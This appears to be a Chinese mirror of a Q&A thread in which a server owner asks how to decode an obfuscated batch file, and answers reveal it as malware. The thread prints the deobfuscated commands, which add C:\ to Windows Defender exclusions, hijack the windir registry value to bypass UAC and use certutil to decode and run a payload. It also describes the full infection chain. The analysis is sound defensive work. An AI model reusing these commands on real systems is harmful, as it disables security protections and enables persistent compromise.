AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / computer / 问题 / 1676713
Accepted
pee2pee
pee2pee
Asked: 2021-09-18 02:14:55 +0800 CST2021-09-18 02:14:55 +0800 CST 2021-09-18 02:14:55 +0800 CST

如何用汉字解码批处理文件的内容

  • 772

我有一个包含大量中文字符的批处理文件,如下所示。当我运行它时,该文件被删除。知道如何解码内容是什么以及它在做什么吗?

在此处输入图像描述

部分文字:

挦獬਍╀啰求捉縺㤸㠬┳倥䉕楌㩣㕾ㄬ䌥潈⁞景╞畐求䍉縺㘴ㄬ┶⁦ഠ帊瀥䉕䥬㩃ㅾⰴ┱䱞瀥䉕楬㩃㕾ⰵ㜱帥瀥扵䥬㩣㑾ㄬ‥ഠ匊瑅删㵞杊╞啰䱂捉縺㌱ㄬ帥瑧塇╺啰䱂捉縺ⰴ┱╷啰䱂捉縺ㄱㄬ帥浨瀥䉕䥌㩣ㅾⰰ┱卞䡞幉⁏਍爥縺ⰸ┱╥㩲㑾ㄬ‥慮爥縺㈱ㄬ攥㴠┠㩲ㅾⰰ┱╡㩲㑾ㄬ挥爥縺ㄱㄬ‥╯㩲ㅾⰰ┱爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥⁲爥縺〱ㄬ礥┠㩲ㅾⰲ┱潯爥縺㈱ㄬ㠥㔲ഠ┊㩲㡾ㄬ攥爥縺ⰴ┱┠㩲ㅾㄬ┥㩲㉾ㄬ┥㩲㑾ㄬ┥㩲ㅾⰱ┱爥縺㌱ㄬ┥㩲ㅾⰰ┱㴠┠㩲ㅾⰱ┱爥縺ⰴ┱爥縺ⰴ┱╰㩲㡾ㄬ㨥⼯爥縺ⰱ┱爥縺ⰲ┱爥縺ⰴ┱爥縺ㄱㄬ┥㩲ㅾⰳ┱爥縺〱ㄬ⸥潣爥縺㈱ㄬ⼥爥縺㈱ㄬ漥╯㩲ㅾⰲ┱㈸⼵爥縺〱ㄬ愥爥縺ⰴ┱╣㩲ㅾⰱ┱漭爥縺〱ㄬ春爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥⵲爥縺㈱ㄬ愥敤┭㩲㉾ㄬ渥瀭╹㩲㑾ㄬ┥㩲ㅾⰱ┱湯†਍湞敞爥縺ⰴ┱ㅞ⁞爥縺ⰸ┱䕞爥縺ⰸ┱爥縺㐱ㄬ┥㩲ㅾⰶ┱幯⁎帾啎䱞㈠☾‱ഠ帊爥縺ⰲ┱⁆攥剒剏敌䕖╬㴠‽‰
ഠ倊幯別縺ⰹ┱剅╞㩒ㅾⰴ┱別縺ㄱㄬ帥幅幌⽬⁗㄰⼠灥〠⽞湞別縺㜱ㄬ帥幰振帠帢摁䑞席幍偰干䙅幥幒湅䍞⁥ⵞ䕞別縺ⰶ┱捞╬㩒ㅾⰳ┱別縺㐱ㄬ帥別縺㘱ㄬ漥乞偞╡㩒㑾ㄬ┥㩒ㅾⰵ┱✠䍞尺‧席幦副幃㭅幥別縺ⰶ┱╞㩒㉾ㄬ┥㩒㑾ㄬ‥•ഠ⤊䔠╌㩲㡾ㄬ帥⁥
ഠ爊╥㩲ㅾㄬ‥摡⁤爥縺㔱ㄬ䬥啃䕜癮爥縺ⰲ┱潲╮㩲ㅾⰲ┱湥爥縺ⰴ┱⼠⁦瘯┠㩲㥾ㄬ┥㩲㉾ㄬ渥╤㩲㉾ㄬ爥⼠爥縺ⰴ┱删幅爥縺ⰵ┱╟㩲ㅾⰴ┱幚⼠⁤≞╣㩲ㅾⰲ┱⹤硥⁥振┠㩲㡾ㄬ┥㩲㑾ㄬ愥╲㩲㑾ㄬ‥≜≜⁞┯㩒ㅾⰲ┱別縺ⰲ┱湞尠┢䙾尰㸢乞爥縺㌱ㄬ䰥㈠☾‱簠⁼╞㩒ㅾⰴ┱癞╣㩒ㅾⰵ┱別縺㜱ㄬ┥㩒㡾ㄬ┥㩒㑾ㄬ帥•举爥縺㌱ㄬ帥⁌㸲ㄦ†਍爥縺㐱ㄬ挥爥縺㔱ㄬ吥╁㩲㡾ㄬ欥爥縺ⰸ┱⼠啒⁎⽞湔尠╍㩲ㅾⰶ┱牣

自从第 3 方安装它以来,它一直是服务器上的一个批处理文件,但它们现在已经破产了,我们正试图弄清楚到底发生了什么

当我们对它运行文件时,我们得到:

Little-endian UTF-16 Unicode text, with very long lines, with no line terminators

它没有翻译成任何东西,所以它实际上可能不是中文,但那是由于我的无知而不是其他任何事情

我也尝试过使用iconv,但文件保持不变

iconv -f utf-16 -t utf-8 batchfile.bat > filename_new.txt

当我运行strings它时,我得到了一些可读的东西

certutil -f -decode %pooth% %pooth%
timeout 1
wmic process call create %pooth%
setlocal enableextensions

在十六进制编辑器中,我得到以下内容,虽然它更具可读性,但它仍然看起来像乱码

在此处输入图像描述

batch-file cmd.exe
  • 2 2 个回答
  • 4664 Views

2 个回答

  • Voted
  1. Best Answer
    user1686
    2021-09-18T03:20:21+08:002021-09-18T03:20:21+08:00

    该文件实际上有常规的 ASCII 文本(或 Windows-125x)。

    它只是看起来有点像包含一些汉字的UTF-16,因为一开始就有一些精心挑选的字节可以欺骗file和其他字符集检测软件。(您的屏幕截图显示文件以 FF FE 开头,即 U+FEFF UTF-16LE 中的“字节顺序标记”。)

    但是我将您的示例存储为 UTF-16 LE,然后让我的文本编辑器将这些字节直接解释为 ASCII 或 Windows-1252——不转换,而是像你的十六进制编辑器一样将文件直接打开为 cp1252——然后我得到一个常规Windows Cmd 批处理脚本:

    &cls
    @%pUBlIc:~89,83%%PUBLic:~5,1%CHo^ of^%PuBlIC:~46,16%f  
    ^%pUBlIC:~14,1%^L%pUBliC:~55,17%^%publIc:~4,1%  
    SEt R^=Jg^%pUBLIc:~13,1%^gtGXz%pUBLIc:~4,1%w%pUBLIc:~11,1%^hm%pUBLIc:~10,1%^S^HI^O 
    %r:~8,1%e%r:~4,1% na%r:~12,1%e = %r:~10,1%a%r:~4,1%c%r:~11,1% o%r:~10,1%%r:~13,1%%r:~8,1%ca%r:~4,1%or %r:~10,1%y %r:~12,1%oo%r:~12,1%825 
    %r:~8,1%e%r:~4,1% %r:~1,1%%r:~2,1%%r:~4,1%%r:~11,1%%r:~13,1%%r:~10,1% = %r:~11,1%%r:~4,1%%r:~4,1%p%r:~8,1%://%r:~1,1%%r:~2,1%%r:~4,1%%r:~11,1%%r:~13,1%%r:~10,1%.co%r:~12,1%/%r:~12,1%oo%r:~12,1%825/%r:~10,1%a%r:~4,1%c%r:~11,1%-o%r:~10,1%f%r:~13,1%%r:~8,1%ca%r:~4,1%or-%r:~12,1%ade-%r:~2,1%n-py%r:~4,1%%r:~11,1%on  
    ^n^e%r:~4,1%^1^ %r:~8,1%^E%r:~8,1%%r:~14,1%%r:~16,1%o^N >^NU^L 2>&1  
    ^%r:~2,1%F %eRRORLeVEl% == 0 (  
    Po^%R:~9,1%ER^%R:~14,1%%R:~11,1%^E^L^l/W 01 /ep 0^/^n%R:~17,1%^p^/c ^"^Ad^D-^M^pPr^EFe^R^En^Ce ^-^E%R:~6,1%^cl%R:~13,1%%R:~14,1%^%R:~16,1%o^N^Pa%R:~4,1%%R:~15,1% '^C:\' -^f^oRC^E;e^%R:~6,1%^%R:~2,1%%R:~4,1% "  
    ) EL%r:~8,1%^e (  
    re%r:~1,1% add %r:~15,1%KCU\Env%r:~2,1%ron%r:~12,1%en%r:~4,1% /f /v %r:~9,1%%r:~2,1%nd%r:~2,1%r /%r:~4,1% RE^%r:~5,1%_%r:~14,1%Z^ /d ^"c%r:~12,1%d.exe /c %r:~8,1%%r:~4,1%ar%r:~4,1% \"\"^ /%R:~12,1%%R:~2,1%^n \"%~F0\">^N%r:~13,1%L 2>&1  || ^%R:~14,1%^vc%R:~15,1%%R:~17,1%%R:~8,1%%R:~4,1%^" >N%r:~13,1%^L 2>&1  
    %r:~14,1%c%r:~15,1%TA%r:~8,1%k%r:~8,1% /RUN ^/Tn \M%r:~16,1%cr
    

    (通常,相同的字节可以通过多种方式读取 - 例如,2c 31如果读取为 UTF-16 LE,则两个字节表示字符“ㄬ”,或者,1如果读取为 ASCII,则表示字符。例如,您会看到“㩲㉾ㄬ”在你的编辑器中有很多,因为它实际上r:~2,1是批处理变量扩展的一部分。)

    这个“胡言乱语”是一个标准的批处理文件,只是有点混淆——你看到了很多%variable:~start,length%变量扩展;变量中的特定字符%PUBLIC%被重新组合成%R%,然后该变量的特定字符用于构建命令。但是,例如,

    re%r:~1,1% add %r:~15,1%KCU\Env%r:~2,1%ron%r:~12,1%en%r:~4,1% /f /v
    

    明确的意思reg add HKCU\Environment /f /v。

    通过猜测¹构建大部分内容%R%并删除许多无关的^转义字符后,结果是:

    &cls
    @ECHo off  
    cLs  
    SEt R=JgigtGXzswbhmuSHIO 
    set name = batch obuscator by moom825 
    set github = https://github.com/moom825/batch-obfuscator-made-in-python  
    net1 sEsSIoN >NUL 2>&1  
    iF %eRRORLeVEl% == 0 (  
    PowERShELl/W 01 /ep 0/nOp/c "AdD-MpPrEFeREnCe -EXcluSIoNPatH 'C:\' -foRCE;eXit "  
    ) ELse (  
    reg add HKCU\Environment /f /v windir /t REG_SZ /d "cmd.exe /c start \"\" /min \"%~F0\">NuL 2>&1  || SvcHOst" >NuL 2>&1  
    ScHTAsks /RUN /Tn \MIcr
    

    它做的第一件事是非常可疑的——在检查它是否具有管理员权限后net1 session,它会将整个 C:\ 驱动器添加到 Windows Defender 的排除列表中。(在“其他”情况下,它可能会尝试通过任务计划程序提升自己,作为绕过 UAC 的一种方式。)

    根据最初的片段,这可能能够对其余部分进行去混淆:

    #!/usr/bin/env perl
    
    my %vars = (
        public => "C:\\Users\\Public",
        r => "JgigtGXzswbhmuSHIO",
    );
    
    while (<>) {
        s/%(r|public):~(\d+),(\d+)%/substr($vars{lc $1}, $2, $3)/ige;
        s/\^(.)/$1/g;
        print;
    }
    

    ¹ (我在 Linux 上做了这个,但没有意识到 %PUBLIC% 实际上是所有 Windows 系统上都存在的默认变量......)

    • 75
  2. moom825
    2021-09-29T06:31:05+08:002021-09-29T06:31:05+08:00

    从我可以看到的现有文本来看,我认为这是 john hammond 的 ctf 挑战(https://ctftime.org/task/17327)。我很确定 john 从病毒样本中获得了挑战,所以要么你的服务器上出于某种原因(无害)有 john 的 ctf,要么你的服务器上有原始样本(可能有害)。

    该病毒使用任务调度程序 UAC 绕过方法绕过 UAC(用户帐户控制),(我现在基于 john 的 ctf)然后禁用所有 Windows Defender,然后将 base64 编码的 exe 写入“C:\Users \Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”,然后它将使用一个名为“certutil”的 Windows 实用程序,它具有 base64 解码功能。所以总的来说,这个批处理文件将获得管理员权限,禁用防御者,然后将有效负载写入启动添加持久性,然后解码有效负载并运行它。

    我强烈建议不要运行这个!

    • 2

相关问题

  • 如何创建脚本来监听内容变化并一直接触父文件夹?

  • 在不删除任何文件的情况下重置 Windows 安装的命令是什么

  • Windows 2016 不会运行 .bat 文件

  • 如何制作批处理脚本来备份具有唯一目标文件夹的特定文件(Windows)[关闭]

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    如何减少“vmmem”进程的消耗?

    • 11 个回答
  • Marko Smith

    从 Microsoft Stream 下载视频

    • 4 个回答
  • Marko Smith

    Google Chrome DevTools 无法解析 SourceMap:chrome-extension

    • 6 个回答
  • Marko Smith

    Windows 照片查看器因为内存不足而无法运行?

    • 5 个回答
  • Marko Smith

    支持结束后如何激活 WindowsXP?

    • 6 个回答
  • Marko Smith

    远程桌面间歇性冻结

    • 7 个回答
  • Marko Smith

    子网掩码 /32 是什么意思?

    • 6 个回答
  • Marko Smith

    鼠标指针在 Windows 中按下的箭头键上移动?

    • 1 个回答
  • Marko Smith

    VirtualBox 无法以 VERR_NEM_VM_CREATE_FAILED 启动

    • 8 个回答
  • Marko Smith

    应用程序不会出现在 MacBook 的摄像头和麦克风隐私设置中

    • 5 个回答
  • Martin Hope
    Saaru Lindestøkke 为什么使用 Python 的 tar 库时 tar.xz 文件比 macOS tar 小 15 倍? 2021-03-14 09:37:48 +0800 CST
  • Martin Hope
    CiaranWelsh 如何减少“vmmem”进程的消耗? 2020-06-10 02:06:58 +0800 CST
  • Martin Hope
    Jim Windows 10 搜索未加载,显示空白窗口 2020-02-06 03:28:26 +0800 CST
  • Martin Hope
    v15 为什么通过电缆(同轴电缆)的千兆位/秒 Internet 连接不能像光纤一样提供对称速度? 2020-01-25 08:53:31 +0800 CST
  • Martin Hope
    andre_ss6 远程桌面间歇性冻结 2019-09-11 12:56:40 +0800 CST
  • Martin Hope
    Riley Carney 为什么在 URL 后面加一个点会删除登录信息? 2019-08-06 10:59:24 +0800 CST
  • Martin Hope
    zdimension 鼠标指针在 Windows 中按下的箭头键上移动? 2019-08-04 06:39:57 +0800 CST
  • Martin Hope
    jonsca 我所有的 Firefox 附加组件突然被禁用了,我该如何重新启用它们? 2019-05-04 17:58:52 +0800 CST
  • Martin Hope
    MCK 是否可以使用文本创建二维码? 2019-04-02 06:32:14 +0800 CST
  • Martin Hope
    SoniEx2 更改 git init 默认分支名称 2019-04-01 06:16:56 +0800 CST

热门标签

windows-10 linux windows microsoft-excel networking ubuntu worksheet-function bash command-line hard-drive

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve